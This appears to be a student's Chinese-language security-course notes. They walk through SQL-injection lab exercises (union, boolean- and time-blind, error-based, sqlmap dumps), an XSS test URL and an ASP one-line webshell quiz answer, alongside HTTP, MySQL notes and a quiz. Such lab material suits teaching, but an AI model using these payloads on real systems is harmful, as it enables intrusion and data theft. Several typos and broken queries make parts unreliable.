  2. 关闭445端口,阻断外来非授权访问
  3. Windows组策略关闭139、135、445等危险端口
  4. 命令提示符关闭:
    netsh advfirewall set allprofile state on
    netsh advfirewall firewall add rule name=deny445 dir=in action=block protocol=TCP localport=445

漏洞利用(Web)

Grade

SQL注入漏洞
  1. 万能密码登陆漏洞信息安全实验
  2. 联合查询注入漏洞sqlmap -u "172.16.12.249/grade/query.php?id=1"
xss漏洞

http://172.16.12.249:8080/信息安全实验

文件上传漏洞

信息安全实验

信息安全实验

jspgou

信息收集

nikto

nikto -h http://172.16.12.249:8080/ -o ./jp.html

xss测试url:http://172.16.12.249:8080/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E

御剑

http://172.16.12.249:8080/login.jspx
http://172.16.12.249:8080/manager/html
http://172.16.12.249:8080/member/login/
http://172.16.12.249:8080/member/admin/
漏洞扫描

使用OWASP ZAP扫描之

待测试

SQL注入

万能密码

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • 'or '1'='1--
  • ' or '1'='1--
  • 1'xor '1'='1

优先级:and > = > or

select user,pass from users where user = '' and pass = '' or '1'='1--+

联合查询注入

测试注入点

sqlmap -u "http://172.16.12.136/inject/union.php?id=1"
Type: boolean-based blind
Type: time-based blind
Type: UNION query

暴库

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" --dbs
available databases [8]:
[*] grade
[*] guestbook
[*] information_schema
[*] jspgou
[*] mysql
[*] performance_schema
[*] test
[*] ultrax

爆表

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test --tables
Database: test
[3 tables]
+--------+
| person |
| users  |
| xss    |
+--------+

爆字段

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users --columns
Table: users
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| address  | varchar(255) |
| email    | varchar(255) |
| id       | int(11)      |
| ip       | varchar(255) |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

爆数据

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users -C username,password --dump
Database: test
Table: users
[3 entries]
+----------+-----------------------------------------+
| username | password                                |
+----------+-----------------------------------------+
| zhangsan | ahangsandemima                          |
| lisi     | lisidemima                              |
| test     | 098f6bcd4621d373cade4e832627b4f6 (test) |
+----------+-----------------------------------------+

Day5

HTTP协议

请求方法

Get Post
GET提交的数据会放在URL之后,以?分割和传输数据,参数之间以&相连 POST方法将提交的数据放在HTTP包中的Body
提交的数据大小有限制 数据大小不限制
需要使用RequestQueryString来获取变量值 通过RequestForm获取变量值

URL

状态码

状态码 描述
1xx 请求已接收,继续处理
2xx 请求成功接收并处理
3xx 重定向
4xx 语法错误,无法请求
5xx 服务端错误

请求头

Cookie : 客户端发给服务器证明用户状态的信息

cookie名 : cookie值成对出现,以;分开

Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易绕过

客户端有权改掉发出请求的源页面

响应头

Set-Cookie : 服务器发给客户端的SessionID(被窃取的风险)

Content-Length : 响应body部分的字节长度

可应用于暴力破解的返回信息判断

Location : 重定向用户到另一个页面,可识别身份认证后允许访问的页面

TOP 10漏洞

信息安全实验

SQL 注入

原理
  1. 参数用户可控
  2. 参数代入数据库查询
MYSQL

MySQL5.0之后默认存在一个information_schema的数据库,其中有schemata、tables和columns三个需要注意的表名!

schemata:存储用户创建的所有数据库的库名,其中记录数据库库名的字段为schema_name,记录数据库表名的字段为table_name!

tables:存储该用户创建的所有数据库的库名和表名,其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name

tables:存储该用户创建的所有数据库的库名和表名和字段名,其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name,记录数据库字段名的字段为columns_name!

判断mysql:

and exsits (select count(*) from information_schema.tables)>0

案例:

select schema_name from information_schema;
select table_name from information_schema.tables where table_schema = test;
select column_name from information_schema.columns where table_schema = test and table_name = users;
判断注入类型

id=1' id=1'' id=1';'' 判断字符型

id=1 and 1=1 id=1 and 1=2 判断整型

联合查询
  1. 判断注入类型信息安全实验判断为整型注入!
  2. 判断字段数id=-1 order by n,结合bp爆破字段数信息安全实验
  3. 判断注入位置id=-1 union select 1,1,1,1信息安全实验
  4. 在指定位置获取数据库id=-1 union select 1,database(),1,2信息安全实验
  5. 获取表名id=-1 union select 1,(select table_name from information_schema.tables where table_schema= test limit 0,1),1,2

id=-1 union select 1,(select group_concat(table_name from information_schema.tables where table_schema= 'test' )),1,2

信息安全实验

  1. 获取字段id=-1 union select 1,(select group_concat(column_name from information_schema.columns where table_schema= 'test' and table_name='users' limit)),1,2信息安全实验
  2. 获取数据id=-1 union select 1,(select group_concat(username) from test.users ),3,4信息安全实验
Grade网站手工注入

测试链接:query.php?user=1'and 1=1# ,注入类型判断为字符型

判断列数:

信息安全实验

<-暴库->
http://172.16.12.56/grade/query.php?user=1' union select database()--+
grade
<-暴表->
http://172.16.12.56/grade/query.php?user=1' union select table_name from information_schema.tables where table_schema='grade'--+
admins
<-暴列->
http://172.16.12.56/grade/query.php?user=1' union select column_name from information_schema.columns where table_schema='grade' and table_name='admins'--+
name
pass
<-暴数据->
http://172.16.12.56/grade/query.php?user=1' union select group_concat(name,":",pass) from grade.admins--+
admin:admin001
Bool盲注

通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此获取数据库中的数据!

`substr(databse(),1,1)` 截取databse()的值,从第一位开始,每次只返回一个!
limit 1,1 从第一个字段开始,每次返回一个!
  1. 判断注入类型
    - id = 1 ' and 1 = 1%23 返回yes
    - id = 1 ' and 1 = 2%23 返回no

    判断为字符型注入

  2. 判断数据库长度id=1'and length(database())>=1--+

    信息安全实验

  3. 判断数据库名id=1'and substr(database(),1,1)='d'--+

    id=1'and ord(substr(database(),1,1))=100--+

    信息安全实验

    信息安全实验

    由此可得库名: test

  4. 判断表名id=1'and substr((select table_name from information_schema.tables where table_schema='dede' limit 0,1),1,1)='u'--+

    信息安全实验

    依次爆破可得目标表名:users;

  5. 判断列名id=1'and substr((select column_name from information_schema.columns where table_schema='dede' limit 0,1),2,1)='s'--+

    信息安全实验

    信息安全实验

    依次查询可得目标字段名:id,username,password

  6. 判断数据id=1'and substr((select username from users limit 0,1),2,1)='o'--+

    id=1'and substr((select password from users limit 1,2),3,1)='3'--+

    信息安全实验

依次可以得到账户密码列表:

zhangsan ahangsandemima
lisi lisidemima
test 098f6bcd4621d373cade4e832627b4f6

Day6

公司参观心得

神琥科技

公司背景

致力于提供网络空间安全和电子数据取证一体化解决方案的高科技企业
业务领域包括:病毒木马追踪溯源、电子数据痕迹恢复、大数据汇聚与关联分析、主动防御取证和电子数据司法取证鉴定服务等.

取证流程

  • 基于入侵时间
  • 查找可疑文件
  • 查看系统日志

反溯源手段

  • 痕迹清理
  • 覆盖式删除
  • 删除对象 : 所上传的文件以及系统日志文件

自我总结

溯源取证是一个取证人员与黑客之间的技术较量,取证的源头和出发点都是黑客的ip
ip信息存在于系统日志中,取证和反溯源首相关注的点都应该是系统日志
windows系统日志:C:WindowsSystem32winevtLogs
linux系统日志:/var/log

信息安全实验

有时候取证就是这么简简单单!

启明星辰

公司背景

由留美博士严望佳女士创建,是一家拥有自主知识产权的网络安全高科技企业
以入侵检测系列化产品为核心,启明星辰天清汉马USG一体化安全网关,启明星辰天清汉马USG一体化安全网关
并在此基础上推出了漏洞扫描、安全评测、安全审计、安全取证、恶意代码查杀、宏观监测、风险评估等安全产品和工具。
研制开发了以入侵管理技术为核心的“入侵检测管理平台”,构筑了包括防火墙、入侵监测、漏洞扫描、入侵取证、物理隔离检查、主机保护、安全审计、防病毒、网管系统、灾难备份等安全设备在内的整体网络安全主动防御体系。

个人总结

互联网技术发展如火如荼,随时掌握新的技术不能犹豫,通过这次去到启明科技参观,深深的感受到了自己薄弱的知识水平,对于IOT设备安全,大数据云安全,车联网设备安全,区块链安全等前沿技术,学习应该提上日程了!

报错注入

程序将输入的数据带入了数据库执行,导致报错!

测试语句

  • 输入',",% ,-99999999999'等进行报错测试构造语句

    http://127.0.0.1:9096/SQLinject/error.php?username=1'

    返回结果

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

通过页面返回结果可以看到,程序将错误信息直接返回到了页面上,所以此处可以利用报错注入获取数据!

注入语句

floor()

id=1' and (select 1 from (select count(*),concat(0x7e,(select databse()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,这样做的目的是让group by和floor(rand(0)*2)相遇

这个payload的重点在group by a,也就是group by floor(rand(0)2)

floor(rand(0)*2)的意思是随机产生0或1,但是是有规律的随机数,基本上得到的序列为011011011

mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次

现在假设有虚拟表x:floor(rand(0)2)数据为011011011;虚拟表y:以上所有逻辑上拼接的表,初始为空

group by 扫描y表的第一项时,第一次运算,x中第一项数据是0,发现y表中不存在;这时会进行第二次运算,取x中第二项数据,将1作为键值插入,count(*)字段置1;

group by 扫描y表的第二项时,第一次运算,x中第三项数据为1,发现存在,将count(*)字段置2;不进行第二次运算

group by 扫描y表的第三项时,第一次运算,x中第四项数据为0,发现不存在;这是会进行第二次运算,将x中第五项数据插入y表中,因为此时1已经存在,此时就会由于主键冗余而报错;

extractvalue()

extractvalue(target_xml,xml_path)

1'and extractvalue(2,concat(0x7e,(select database() from information_schema.schemata limit 0,1),0x7e))--+

updatexml()

updatexml(xml_document,Xpath_String,new_value)

xml_document : 名字

Xpath_String : Xpath语法的字符串

new_value :替换数据

改变xml_document 中符合Xpath_String 语法的值为new_value

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

暴库

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
XPATH syntax error: '~test~'

爆表

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
XPATH syntax error: '~person~'

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 1,1),0x7e),1)--+
XPATH syntax error: '~users~'

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 2,1),0x7e),1)--+
XPATH syntax error: '~xss~'

爆字段

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' limit 0,1),0x7e),1)--+
XPATH syntax error: '~id~'

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' limit 1,1),0x7e),1)--+
XPATH syntax error: '~username~'

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' limit 2,1),0x7e),1)--+
XPATH syntax error: '~money~'

爆数据

127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+
XPATH syntax error: '~zhangsan~'
127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select password from test.users limit 0,1),0x7e),1)--+
XPATH syntax error: '~ahangsandemima~'

依次爆破得:
	lisi  lisidemima
    test  098f6bcd4621d373cade4e832627b4f6

Sqlmap

爆库:
sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" --dbs
test
爆表:
sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" -D test --tables
users  
爆列:
sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" -D test -T users --columns
password
username 
爆内容:
sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" -D test -T users -C username,password --dump

时间盲注

时间盲注是利用sleep()benchmark()等函数让MySQL的执行时间变长。它多与IF(exp1,exp2,exp3)结合使用!

此if语句的含义是:如果exp1是true,则if()的返回值为exp2;否则返回exp3。

所以判断数据库库名长度的语句应为:if(length(database())>1,sleep(5),1)

此语句的含义是:如果database()带入执行了,并且数据库名的长度大于1,则MySQL查询语句会休眠3秒,否则查询1;因为查询1大约只需要几十毫秒,根据BurpSuite的响应时间,可以判断条件是否正确!

时间盲注和布尔盲注的原理差不多,通过判断后台返回的响应时间来判断相应数据是否存在!

判断注入类型

127.0.0.1:9096/sql/time.php?id=1''
判断为数值型注入

判断数据库长度

127.0.0.1:9096/sql/time.php?id=1 and if(length(database())>3,sleep(3),1)--+
判断库名长度为3

爆库

127.0.0.1:9096/sql/time.php?id=1 and if(substr(database(),1,1)='a',sleep(3),1)--+

信息安全实验

以此判断的到数据库名:test

爆表

127.0.0.1:9096/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='dede' limit 0,1),1,1)='a',sleep(3),1)--+

信息安全实验

依次可爆破表名:users

爆列

127.0.0.1:9096/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(3),1)--+
127.0.0.1:9096/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1)='a',sleep(3),1)--+

信息安全实验

信息安全实验

依次可判断字段名:username,password

爆数据

127.0.0.1:9096/sql/time.php?id=1 and if(substr((select username from users limit 0,1),1,1)='a',sleep(3),1)--+

信息安全实验

依次可得username数据:zhangsan,lisi,test

127.0.0.1:9096/sql/time.php?id=1 and if(substr((select password from users limit 0,1),1,1)='a',sleep(3),1)--+

信息安全实验

依次可得password数据:

ahangsandemima lisidemima 098f6bcd4621d373cade4e832627b4f6

Day7

SQL

用于操作数据库的结构化语言。

DDL

数据定义语言,用来定义和管理包括数据库、数据表、函数、索引、触发器等数据对象

create database if not exists test1 charset utf8;

drop database test;

alter table users modify/drop/add address [varchar(100)];

DML

数据操纵语言,用于操作数据库对象中包含的数据的增删改

insert into users
values
(3,'赵','四','纽约',100003),
(4,'孙','六','深圳',100004);
update users set address='成都'
where firstname='赵' and lastname='四';
delete from users where 子句

DQL

简单查询
  1. 模糊查询
    SELECT id,Title from mlzm_content WHERE Title LIKE '%小%'
    SELECT id,title from mlzm_content WHERE INSTR(Title,'小')>0;
    SELECT id,title from mlzm_content WHERE LOCATE('小',Title)>0;
    SELECT id,title from mlzm_content WHERE POSITION('小' IN Title);
    SELECT id,title from mlzm_content WHERE FIND_IN_SET('小',Title);
  2. 分组
    select customer,sum(orderprice) from orders group by customs having sun(orderprice) < 1600
  3. 排序
    select * from salary order by number;		//升序
  4. 分页
    每次只显示其中的从第几条到第几天!
    select * from film limit 3,10  #从第3条显示10条
    pageSize(每页多少条)、page(当前是第几页)
    select * from film limit (7-1)*10,10
函数
  1. 字符串函数
  2. 日期函数
  3. 流程函数
连接查询
子查询

DDL

grant

revoke

Mysql函数

字符串函数

字符串函数 描述
SUBSTR(s, start, length) 将字符串转换为大写
SUBSTRING_INDEX(s, delimiter, number) 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。
UPPER(s) 将字符串转换为大写
CONCAT(s1,s2…sn) 字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2…sn) 同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
LENGTH(s1) 返回s1的长度
CHAR_LENGTH(s) 返回s的字符数

案例:

以首字母大写的方式显示所有员工姓名:
select concat(UPPER(substring(username,1,1)),LOWER(substring(username,2,LENGTH(username)-1))) from users;

时间函数

时间函数 描述
NOW() 返回当前时间:2019-07-23 12:00:00
CURDATA() 返回当前日期:2019-07-23
CURTIME() 返回当前时间:19:53:02
WEEK(DATE) 返回日期中的周
YEAR(DATE) 返回日期中的年
DATE_FORMAT(S,pattern) 格式化日期
DATEDIFF(d1,d2) 返回相差天数
DATE_ADD(d,INTERVAL Y TYPE) 给当前日期加上指定类型的Y值
TO_DAYS(date) 计算date举例2000/0/0/0的天数
YEAR() / MONTH() 返回年份 / 月份
LAST_DAY(d) 返回给定日期的月份的最后一天

案例:

返回入职满35年的员工:
select * from emp where curdate() > DATE_ADD(hiredate,INTERVAL 35 YEAR)  #DATE_ADD会计算闰年

找出各月倒数第三天受雇的所有员工:
select * from emp where last_day(hiredate=date_add(hiredate,INTERVAL 2 day)

流程函数

CASE expression     
WHEN condition1 
THEN result1     
WHEN condition2 
THEN result2    
...     
WHEN conditionN 
THEN resultN    
 ELSE result 
END

CASE 表示函数开始,END 表示函数结束。

如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。

案例:行列转换

创建数据表:

create table sell (
	_year int ,
	_month int,
  _sellnum int
)
insert sell (_year,_month,_sellnum)
values
(1998,1,31),
(1998,2,11),
(1998,3,12),
(1998,4,23),
(1998,5,21),
(1998,6,18),
(1998,7,16),
(1998,8,17),
(1998,9,21),
(1998,10,19),
(1998,11,13),
(1998,12,17)

信息安全实验

case 查询:

SELECT _year,
max(CASE _month WHEN 1 THEN _sellnum ELSE 0 END )'一月',
max(CASE _month WHEN 2 THEN _sellnum ELSE 0 END )'二月',
max(CASE _month WHEN 3 THEN _sellnum ELSE 0 END )'三月',
sum(case _month when 4 then _sellnum else 0 end)'四月',
sum(case _month when 5 then _sellnum else 0 end)'五月',
sum(case _month when 6 then _sellnum else 0 end)'六月',
sum(case _month when 7 then _sellnum else 0 end)'七月',
sum(case _month when 8 then _sellnum else 0 end)'八月',
sum(case _month when 9 then _sellnum else 0 end)'九月',
sum(case _month when 10 then _sellnum else 0 end)'十月',
sum(case _month when 11 then _sellnum else 0 end)'十一月',
sum(case _month when 12 then _sellnum else 0 end)'十二月'
FROM sell 
GROUP BY _year

信息安全实验

测试题

一:单项选择题(共10题,每题3分)

1.用来查询域名名称和IP之间对应关系的系统自带命令是( A )。

A、nslookup

B、ifconfig

C、tracert

D、procfinfo

2.Nessus主要的功能是什么(D )

A、端口扫描

B、弱口令扫描

C、渗透攻击

D、安全的脆弱性扫描

3.centos iptables防火墙,以下哪项是允许所有本机向外的访问( B )

A、iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT

B、iptables -A OUTPUT -j ACCEPT

C、iptables -A FORWARD -j REJECT

D、iptables -F

4.以下哪项是asp的一句话木马( A )。

A、<%execute(request(“value”))%>。

B、。

C、<%@ PageLanguage=”Jscript”%>。

D、<%eval(Request.Item[“value”])%>。

5.当访问web网站的某个页面资源不存在时,将会出现的HTTP状态码是(D )

A、200

B、302

C、401

D、404

6. 使网络服务器充斥大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这类攻击属于(D)

A、文件共享

B、BIND漏洞

C、远程过程调用

D、拒绝服务

7.ARP协议实现的功能是( C    )

A、域名地址到IP地址的解析

B、IP地址到域名地址的解析

C、IP地址到物理地址的解析

D、物理地址到IP地址的解析

8.你所使用的系统为UNIX,你通过umask命令求出当前用户的umask值为0023,请问该用户在新建文件夹的权限为?(A)

A、RWXR-XR–

B、RW-R—–

C、RW-R-XR–

D、RWXRW-R–

9.网络层上信息传输的基本单位称为( B )

A、段

B、包

C、帧

D、报文

10. 黑客进行攻击的最后一个步骤是:( D )

A、侦查与信息收集

B、漏洞分析与目标选定

C、获取系统权限

D、打扫战场,清除证据

二:填空题(共5题,每题5分)

1.在kali中路由跟踪命令是什么( traceroute )。

2.在mysql数据库中,其中保存着关于MySQL服务器所维护的所有其他数据库的信息的数据库表是( information_schema )。

3.metasploit中攻击载荷是( payload )。

4.网络安全工具NMAP,使用( -O )选项可以进行操作系统侦测。

5.使用什么命令可以打开metasploit的终端模式( msfconsole )。

三:简单题(共4题,每题5分)

1.Web服务器被入侵后,怎样进行排查?

首先基于入侵事件做特征文件匹配
查看windows和linux的事件日志
审计攻击者遗留信息进行ip追踪或反查等 

2.渗透测试的流程是什么?

​ 信息收集 漏洞扫描 漏洞利用 提权 内网穿透 权限驻留 打扫战场

3.Rootkit是什么意思?

​ 一种隐藏后门

4.在web信息收集中,怎么判断是否有CDN,如果有请简要说明绕过方法有哪些?

​ target_ip地址的唯一性判断

​ 绕过方法:①子域名攻击②fantanshell③社工管理员….

四:主观题(共1题,每题25分)

1.请你说下黑客有哪些攻击技术和思路,请举例说明。以及对于的防范措施是什么?

攻击技术 攻击思路 防御思路
SQL注入 构造恶意sql语句以获取数据库信息及后续操作 将sql查询语句做严格过滤与白名单限制,限制数据库用户的权限等
XSS 操纵前端可控的js脚本,执行恶意代码 目前最好的修复方案:通过白名单机制,限制js的使用
CSRF 伪造页面,以登陆用户的权限执行恶意操作 使用跨域验证或Token校验等
RCE 基于服务端代码的限制不严,使得数据以代码的方式执行执行 输入数据严格过滤或白名单处理
LFI 基于include等文件包含函数的特点,包含指定系统文件或上传脚本 使用include包含文件做白名单限制即可
文件上传 一般基于源码审计,找到方法绕过文件上传限制,提交恶意脚本,常配合文件包含攻击 针对用户级别指定安全限制,高保密用户使用白名单,其他用户禁止上传脚本文件以及对常见绕过方法做过滤处理
缓冲区溢出 基于系统和二进制的攻击,流程为逆向分析,漏洞发现,漏洞利用 及时安装各大厂商软件或系统的修复补丁

原创文章,作者:小嵘源码,如若转载,请注明出处:https://www.lcpttec.com/infosafety/

联系我们

176-888-72082

在线咨询:点击这里给我发消息

邮件:2668888288@qq.com

工作时间:周一至周五,9:00-18:00,节假日休息

QR code